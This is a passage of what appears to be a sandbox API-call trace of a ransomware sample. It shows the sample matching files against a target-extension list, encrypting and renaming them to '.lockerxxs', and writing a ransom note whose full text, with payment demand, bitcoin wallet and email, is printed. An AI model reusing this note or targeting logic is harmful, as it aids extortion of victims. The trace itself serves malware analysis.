(pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.mov") returned 0 [0070.033] lstrlenA (lpString="*.mov") returned 5 [0070.033] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.xdw") returned 0 [0070.033] lstrlenA (lpString="*.xdw") returned 5 [0070.033] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.ods") returned 0 [0070.033] lstrlenA (lpString="*.ods") returned 5 [0070.033] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.wav") returned 0 [0070.033] lstrlenA (lpString="*.wav") returned 5 [0070.033] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.mp3") returned 0 [0070.033] lstrlenA (lpString="*.mp3") returned 5 [0070.033] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.aiff") returned 0 [0070.033] lstrlenA (lpString="*.aiff") returned 6 [0070.033] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.flac") returned 0 [0070.033] lstrlenA (lpString="*.flac") returned 6 [0070.034] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.m4a") returned 0 [0070.034] lstrlenA (lpString="*.m4a") returned 5 [0070.034] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.csv") returned 0 [0070.034] lstrlenA (lpString="*.csv") returned 5 [0070.034] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc288, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0070.034] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.034] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="license.html") returned -1 [0070.034] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="license.html") returned -1 [0070.034] lstrcmpiA (lpString1="", lpString2="license.html") returned -1 [0070.034] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini") returned="eula.ini" [0070.034] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\" [0070.034] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\") returned="" [0070.034] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\HOW TO DECRYPT FILES.txt" [0070.034] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nld\\how to decrypt files.txt")) returned 0x20 [0070.034] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\", lpString2="license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html" [0070.034] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html", pszSpec="*.ems") returned 0 [0070.034] lstrlenA (lpString="*.ems") returned 5 [0070.034] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html", pszSpec="*.db") returned 0 [0070.034] lstrlenA (lpString="*.db") returned 4 [0070.034] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html", pszSpec="*.dbf") returned 0 [0070.034] lstrlenA (lpString="*.dbf") returned 5 [0070.034] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html", pszSpec="*.myox") returned 0 [0070.034] lstrlenA (lpString="*.myox") returned 6 [0070.034] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html", pszSpec="*.myo") returned 0 [0070.034] lstrlenA (lpString="*.myo") returned 5 [0070.035] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html", pszSpec="*.qbw") returned 0 [0070.035] lstrlenA (lpString="*.qbw") returned 5 [0070.035] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html", pszSpec="*.qbb") returned 0 [0070.035] lstrlenA (lpString="*.qbb") returned 5 [0070.035] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html", pszSpec="*.qbm") returned 0 [0070.035] lstrlenA (lpString="*.qbm") returned 5 [0070.035] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html", pszSpec="*.qbo") returned 0 [0070.035] lstrlenA (lpString="*.qbo") returned 5 [0070.035] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html", pszSpec="*.qbx") returned 0 [0070.035] lstrlenA (lpString="*.qbx") returned 5 [0070.035] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html", pszSpec="*.qba") returned 0 [0070.035] lstrlenA (lpString="*.qba") returned 5 [0070.035] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html", pszSpec="*.qby") returned 0 [0070.035] lstrlenA (lpString="*.qby") returned 5 [0070.035] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html", pszSpec="*.qbj") returned 0 [0070.035] lstrlenA (lpString="*.qbj") returned 5 [0070.035] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html", pszSpec="*.ofx") returned 0 [0070.035] lstrlenA (lpString="*.ofx") returned 5 [0070.035] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html", pszSpec="*.qif") returned 0 [0070.035] lstrlenA (lpString="*.qif") returned 5 [0070.035] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html", pszSpec="*.mye") returned 0 [0070.035] lstrlenA (lpString="*.mye") returned 5 [0070.035] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html", pszSpec="*.mbox") returned 0 [0070.035] lstrlenA (lpString="*.mbox") returned 6 [0070.035] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html", pszSpec="*.eml") returned 0 [0070.035] lstrlenA (lpString="*.eml") returned 5 [0070.035] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html", pszSpec="*.pst") returned 0 [0070.035] lstrlenA (lpString="*.pst") returned 5 [0070.035] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html", pszSpec="*.ost") returned 0 [0070.036] lstrlenA (lpString="*.ost") returned 5 [0070.036] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html", pszSpec="*.idx") returned 0 [0070.036] lstrlenA (lpString="*.idx") returned 5 [0070.036] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html", pszSpec="*.dbx") returned 0 [0070.036] lstrlenA (lpString="*.dbx") returned 5 [0070.036] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html", pszSpec="*.sql") returned 0 [0070.036] lstrlenA (lpString="*.sql") returned 5 [0070.036] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html", pszSpec="*.mdb") returned 0 [0070.036] lstrlenA (lpString="*.mdb") returned 5 [0070.036] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html", pszSpec="*.fdb") returned 0 [0070.036] lstrlenA (lpString="*.fdb") returned 5 [0070.036] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html", pszSpec="*.wab") returned 0 [0070.036] lstrlenA (lpString="*.wab") returned 5 [0070.036] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html", pszSpec="*.dat") returned 0 [0070.036] lstrlenA (lpString="*.dat") returned 5 [0070.036] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html", pszSpec="*.txt") returned 0 [0070.037] lstrlenA (lpString="*.txt") returned 5 [0070.037] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html", pszSpec="*.jpeg") returned 0 [0070.037] lstrlenA (lpString="*.jpeg") returned 6 [0070.037] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html", pszSpec="*.jpg") returned 0 [0070.037] lstrlenA (lpString="*.jpg") returned 5 [0070.037] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html", pszSpec="*.png") returned 0 [0070.037] lstrlenA (lpString="*.png") returned 5 [0070.037] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html", pszSpec="*.php") returned 0 [0070.037] lstrlenA (lpString="*.php") returned 5 [0070.037] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html", pszSpec="*.cs") returned 0 [0070.037] lstrlenA (lpString="*.cs") returned 4 [0070.037] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html", pszSpec="*.cpp") returned 0 [0070.037] lstrlenA (lpString="*.cpp") returned 5 [0070.037] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html", pszSpec="*.rar") returned 0 [0070.037] lstrlenA (lpString="*.rar") returned 5 [0070.037] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html", pszSpec="*.zip") returned 0 [0070.037] lstrlenA (lpString="*.zip") returned 5 [0070.037] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html", pszSpec="*.html") returned 1 [0070.037] lstrlenA (lpString="*.html") returned 6 [0070.037] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html" [0070.037] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html" [0070.037] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html." [0070.037] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html.lockerxxs" [0070.037] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nld\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0070.038] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xc288 [0070.038] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9640cd00, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x81df42a0, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9640cd00, dwHighDateTime=0x1cb84b4)) returned 1 [0070.038] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0070.038] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xc262, lpOverlapped=0x0) returned 1 [0070.041] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html") returned="license.html" [0070.042] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0070.042] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xc262, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xc262, lpOverlapped=0x0) returned 1 [0070.042] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0070.042] CloseHandle (hObject=0x94) returned 1 [0070.053] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nld\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nld\\license.html.lockerxxs")) returned 1 [0070.054] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc288, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0070.054] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0070.054] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="NOR", cAlternateFileName="")) returned 1 [0070.054] lstrcmpA (lpString1=".", lpString2="NOR") returned -1 [0070.054] lstrcmpA (lpString1="..", lpString2="NOR") returned -1 [0070.054] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*.*") returned="*.*" [0070.054] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\", lpString2="NOR" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR" [0070.054] lstrlenA (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR") returned 57 [0070.054] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf20003f1, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0070.055] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.055] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0070.055] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.055] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.055] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0070.055] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.055] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eula.ini") returned -1 [0070.055] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eula.ini") returned 1 [0070.055] lstrcmpiA (lpString1="", lpString2="eula.ini") returned -1 [0070.055] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\*.*") returned="*.*" [0070.055] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\" [0070.055] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\") returned="" [0070.055] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\HOW TO DECRYPT FILES.txt" [0070.055] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor\\how to decrypt files.txt")) returned 0xffffffff [0070.055] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0070.056] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0070.056] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0070.058] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.058] CloseHandle (hObject=0x94) returned 1 [0070.058] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\", lpString2="eula.ini" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini" [0070.058] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.ems") returned 0 [0070.058] lstrlenA (lpString="*.ems") returned 5 [0070.058] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.db") returned 0 [0070.058] lstrlenA (lpString="*.db") returned 4 [0070.058] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.dbf") returned 0 [0070.058] lstrlenA (lpString="*.dbf") returned 5 [0070.059] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.myox") returned 0 [0070.059] lstrlenA (lpString="*.myox") returned 6 [0070.059] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.myo") returned 0 [0070.059] lstrlenA (lpString="*.myo") returned 5 [0070.059] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.qbw") returned 0 [0070.059] lstrlenA (lpString="*.qbw") returned 5 [0070.059] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.qbb") returned 0 [0070.059] lstrlenA (lpString="*.qbb") returned 5 [0070.059] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.qbm") returned 0 [0070.059] lstrlenA (lpString="*.qbm") returned 5 [0070.059] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.qbo") returned 0 [0070.059] lstrlenA (lpString="*.qbo") returned 5 [0070.059] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.qbx") returned 0 [0070.059] lstrlenA (lpString="*.qbx") returned 5 [0070.059] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.qba") returned 0 [0070.059] lstrlenA (lpString="*.qba") returned 5 [0070.059] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.qby") returned 0 [0070.059] lstrlenA (lpString="*.qby") returned 5 [0070.059] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.qbj") returned 0 [0070.059] lstrlenA (lpString="*.qbj") returned 5 [0070.059] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.ofx") returned 0 [0070.059] lstrlenA (lpString="*.ofx") returned 5 [0070.059] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.qif") returned 0 [0070.059] lstrlenA (lpString="*.qif") returned 5 [0070.059] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.mye") returned 0 [0070.059] lstrlenA (lpString="*.mye") returned 5 [0070.060] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.mbox") returned 0 [0070.060] lstrlenA (lpString="*.mbox") returned 6 [0070.060] 